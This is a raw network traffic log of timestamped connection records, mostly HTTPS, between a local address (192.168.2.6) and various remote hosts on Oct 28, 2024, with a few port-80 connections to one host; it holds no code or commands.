Oct 28, 2024 02:07:41.763771057 CET	443	49939	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.764462948 CET	49940	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.764473915 CET	443	49940	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.764859915 CET	49940	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.764863968 CET	443	49940	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.765117884 CET	49941	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.765141010 CET	443	49941	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.765592098 CET	49941	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.765597105 CET	443	49941	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.770340919 CET	49953	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:41.770389080 CET	443	49953	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:41.770454884 CET	49953	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:41.771363974 CET	443	49946	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:41.771418095 CET	49946	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:41.772034883 CET	49954	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:41.772072077 CET	443	49954	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:41.772186995 CET	49954	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:41.772906065 CET	49944	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:41.772924900 CET	49943	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:41.778069973 CET	49948	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:41.778095007 CET	443	49948	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:41.778302908 CET	49946	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:41.778321028 CET	443	49946	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:41.778549910 CET	49947	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:41.778671026 CET	443	49947	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:41.779789925 CET	443	49948	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:41.779807091 CET	443	49948	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:41.779851913 CET	49948	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:41.782088041 CET	443	49946	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:41.782155037 CET	49946	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:41.782536983 CET	49955	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:41.782571077 CET	443	49955	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:41.782716036 CET	49956	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:41.782726049 CET	443	49956	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:41.782753944 CET	49955	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:41.782780886 CET	49956	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:41.783169031 CET	49953	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:41.783185005 CET	443	49953	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:41.783389091 CET	49954	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:41.783411980 CET	443	49954	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:41.786247969 CET	49938	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:41.786267996 CET	443	49938	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:41.787331104 CET	49948	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:41.787420988 CET	443	49948	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:41.791595936 CET	49946	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:41.791795015 CET	443	49946	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:41.791882992 CET	49955	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:41.791897058 CET	443	49955	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:41.792037010 CET	49956	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:41.792049885 CET	443	49956	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:41.886235952 CET	443	49945	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.886328936 CET	443	49945	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.886440992 CET	49945	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.888598919 CET	443	49942	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.888788939 CET	443	49942	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.888911009 CET	49942	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.890443087 CET	443	49939	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.890604973 CET	443	49939	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.890661955 CET	49939	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.896518946 CET	443	49941	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.896696091 CET	443	49941	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.896771908 CET	49941	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.898550987 CET	443	49940	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.898618937 CET	443	49940	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.898691893 CET	49940	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.898700953 CET	443	49940	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.898730040 CET	443	49940	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.898991108 CET	49940	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.912285089 CET	49947	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:41.912285089 CET	49948	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:41.912303925 CET	443	49947	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:41.912311077 CET	443	49948	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:41.955754042 CET	49941	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.955773115 CET	49945	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.955771923 CET	443	49941	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.955785036 CET	443	49945	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.955787897 CET	49941	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.955795050 CET	443	49941	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.955799103 CET	49945	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.955805063 CET	443	49945	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.956588984 CET	49940	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.956588984 CET	49940	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.956607103 CET	443	49940	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.956630945 CET	443	49940	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.956945896 CET	49942	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.956950903 CET	443	49942	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.956965923 CET	49942	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.956971884 CET	443	49942	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.958592892 CET	49939	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.958610058 CET	443	49939	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.961730957 CET	49946	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:41.961745977 CET	443	49946	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:41.971756935 CET	49957	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:41.971782923 CET	443	49957	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:41.971884012 CET	49957	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:41.972419977 CET	49957	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:41.972435951 CET	443	49957	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:41.990128994 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.000230074 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.000243902 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.001653910 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.002341986 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.002526999 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.002538919 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.007148027 CET	49958	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.007177114 CET	443	49958	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.007328987 CET	49958	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.009917974 CET	49959	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.009937048 CET	443	49959	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.010186911 CET	49959	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.013077021 CET	49948	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:42.014487982 CET	49947	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:42.047338963 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.048465014 CET	49960	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.048504114 CET	443	49960	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.048764944 CET	49960	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.054225922 CET	49961	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.054255962 CET	443	49961	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.054553986 CET	49961	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.057985067 CET	49961	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.058001995 CET	443	49961	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.058235884 CET	49958	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.058250904 CET	443	49958	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.061256886 CET	49959	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.061275959 CET	443	49959	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.061955929 CET	49946	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:42.062453985 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.068583965 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.105659962 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.105670929 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.106386900 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.112042904 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.112171888 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.113069057 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.117016077 CET	49962	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.117053032 CET	443	49962	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:42.117145061 CET	49962	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.117449045 CET	49962	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.117461920 CET	443	49962	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:42.126744986 CET	49963	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.126773119 CET	443	49963	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:42.126925945 CET	49963	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.127166033 CET	49963	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.127182961 CET	443	49963	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:42.128177881 CET	49960	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.128195047 CET	443	49960	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.159333944 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.165865898 CET	49964	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.165909052 CET	443	49964	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.166002035 CET	49964	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.169294119 CET	49964	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.169312000 CET	443	49964	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.185800076 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.186180115 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.186192036 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.187289953 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.187361002 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.187835932 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.187910080 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.188215971 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.188224077 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.220685959 CET	49800	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:42.220999956 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:42.226026058 CET	80	49800	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:42.226273060 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:42.226366043 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:42.226790905 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:42.226835966 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:42.232167959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:42.232178926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:42.232220888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:42.232232094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:42.232296944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:42.232311964 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:42.232322931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:42.237303972 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.237368107 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.237390041 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.237410069 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.237449884 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.237466097 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.237466097 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.237476110 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.237508059 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.237524986 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.237524986 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.237654924 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.252073050 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.252124071 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.252197027 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.252197027 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.252209902 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.252266884 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.253063917 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.253118992 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.352634907 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.352662086 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.352694988 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.352710009 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.352755070 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.352777958 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.352797031 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.352827072 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.356825113 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.356878996 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.356936932 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.356954098 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.356995106 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.356996059 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.370832920 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.370882988 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.370934963 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.370944977 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.371006012 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.371278048 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.371712923 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.371778965 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.372689962 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.372739077 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.372771978 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.372778893 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.372817039 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.372853041 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.386797905 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.386811972 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.397927046 CET	443	49956	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.398180008 CET	49956	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:42.398200989 CET	443	49956	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.398653030 CET	443	49956	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.400787115 CET	49956	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:42.400867939 CET	443	49956	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.401025057 CET	49956	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:42.402031898 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.402077913 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.402105093 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.402124882 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.402153969 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.402172089 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.402910948 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.402983904 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.417701006 CET	443	49954	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.418437958 CET	49954	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:42.418451071 CET	443	49954	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.419915915 CET	443	49954	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.420032978 CET	49954	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:42.420773029 CET	49954	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:42.420850039 CET	443	49954	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.447340012 CET	443	49956	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.472333908 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.472361088 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.472410917 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.472431898 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.472448111 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.472476959 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.520363092 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.520387888 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.520474911 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.520494938 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.520760059 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.521547079 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.521672964 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.522870064 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.522906065 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.522950888 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.522962093 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.522994995 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.523020029 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.527159929 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.527183056 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.527189970 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.527220964 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.527244091 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.527255058 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.527286053 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.527302980 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.527339935 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.527355909 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.531862020 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.531869888 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.531897068 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.531907082 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.531927109 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.531935930 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.531953096 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.531996965 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.531996965 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.534960032 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.535027981 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.569062948 CET	49954	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:42.569082022 CET	443	49954	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.569386005 CET	443	49952	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:42.569921970 CET	49952	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.569932938 CET	443	49952	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:42.571155071 CET	443	49952	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:42.571223021 CET	49952	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.572261095 CET	49952	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.572371960 CET	443	49952	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:42.572947025 CET	49952	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.572953939 CET	443	49952	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:42.572987080 CET	49952	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.573041916 CET	443	49952	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:42.583987951 CET	443	49956	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.584121943 CET	443	49956	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.584183931 CET	49956	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:42.585830927 CET	49956	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:42.585844040 CET	443	49956	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.586447001 CET	443	49957	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:42.586973906 CET	49957	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:42.587002993 CET	443	49957	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:42.587975979 CET	49954	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:42.588618040 CET	443	49957	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:42.588692904 CET	49957	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:42.589008093 CET	49957	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:42.589087009 CET	443	49957	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:42.589236975 CET	49957	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:42.589246988 CET	443	49957	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:42.590959072 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.591010094 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.591026068 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.591037035 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.591073036 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.591092110 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.591130018 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.591370106 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.591387033 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.593789101 CET	443	49953	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:42.595134974 CET	49953	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:42.595145941 CET	443	49953	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:42.596366882 CET	443	49953	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:42.596452951 CET	49953	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:42.597853899 CET	49953	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:42.597946882 CET	443	49953	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:42.598299026 CET	49953	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:42.598305941 CET	443	49953	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:42.609299898 CET	443	49955	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:42.609503984 CET	49955	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:42.609512091 CET	443	49955	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:42.609988928 CET	443	49955	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:42.610344887 CET	49955	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:42.610424042 CET	443	49955	20.125.209.212	192.168.2.6
